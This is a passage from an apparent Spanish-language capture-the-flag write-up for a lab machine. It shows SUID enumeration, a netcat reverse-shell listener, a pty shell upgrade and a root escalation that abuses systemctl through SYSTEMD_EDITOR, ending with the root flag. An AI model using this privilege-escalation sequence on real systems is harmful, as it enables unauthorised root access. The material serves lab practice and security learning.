-rwsr-xr-x 1 root root 59680 Mar 17 2021 /usr/bin/passwd
-rwsr-xr-x 1 root root 75792 Mar 17 2021 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 40504 Mar 17 2021 /usr/bin/chsh
-rwsr-xr-x 1 root root 140944 Jan 23 2021 /usr/bin/sudo
-rwsr-xr-x 1 root root 50040 Mar 17 2021 /usr/bin/chfn
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmccrypt-get-device
```



```
-rwsr-xr-x 1 root root 440728 Mar  1 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 42992 Jun  9 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
```

El resultado muestra varios binarios con bit SUID. El hallazgo más relevante es `/bin/systemctl`, que aparece con propietario `root` y grupo `pepper`. Esta configuración convierte a `systemctl` en el candidato principal para la escalada final de privilegios.

```
> sudo nc -lvnp 443
[sudo] contraseña para r4mon:
listening on [any] 443 ...
connect to [10.10.15.26] from (UNKNOWN) [10.129.229.137] 58182
whoami
pepper
python -c 'import pty;pty.spawn("/bin/bash")'
pepper@jarvis:/tmp$ TF=$(mktemp)
TF=$(mktemp)
pepper@jarvis:/tmp$ echo /bin/sh > $TF
echo /bin/sh > $TF
pepper@jarvis:/tmp$ chmod +x $TF
chmod +x $TF
pepper@jarvis:/tmp$ SYSTEMD_EDITOR=$TF systemctl edit system.slice
SYSTEMD_EDITOR=$TF systemctl edit system.slice
# id
id
uid=1000(pepper) gid=1000(pepper) euid=0(root) groups=1000(pepper)
# whoami
whoami
root
# cd ..
cd ..
# ls
ls
bin  home  lib32  mnt  run  tmp  vmlinuz.old
boot initrd.img  lib64  opt  sbin  usr
dev  initrd.img.old  lost+found  proc  srv  var
etc  lib  media  root  sys  vmlinuz
# whoami
whoami
root
# cd /root
cd /root
# ls
ls
clean.sh  root.txt  sqli  defender.py
# cat root.txt
cat root.txt
c59b342c97228325abc34bc0bc5e79a9
```

Escalada final a root

La escalada final se consigue aprovechando el comportamiento de `systemctl` en el contexto observado. Al establecer `SYSTEMD_EDITOR` hacia un script controlado y ejecutar `systemctl edit system.slice`, se obtiene un contexto con privilegios efectivos de `root`. Desde esa posición es posible acceder a `/root` y recuperar la flag final del laboratorio.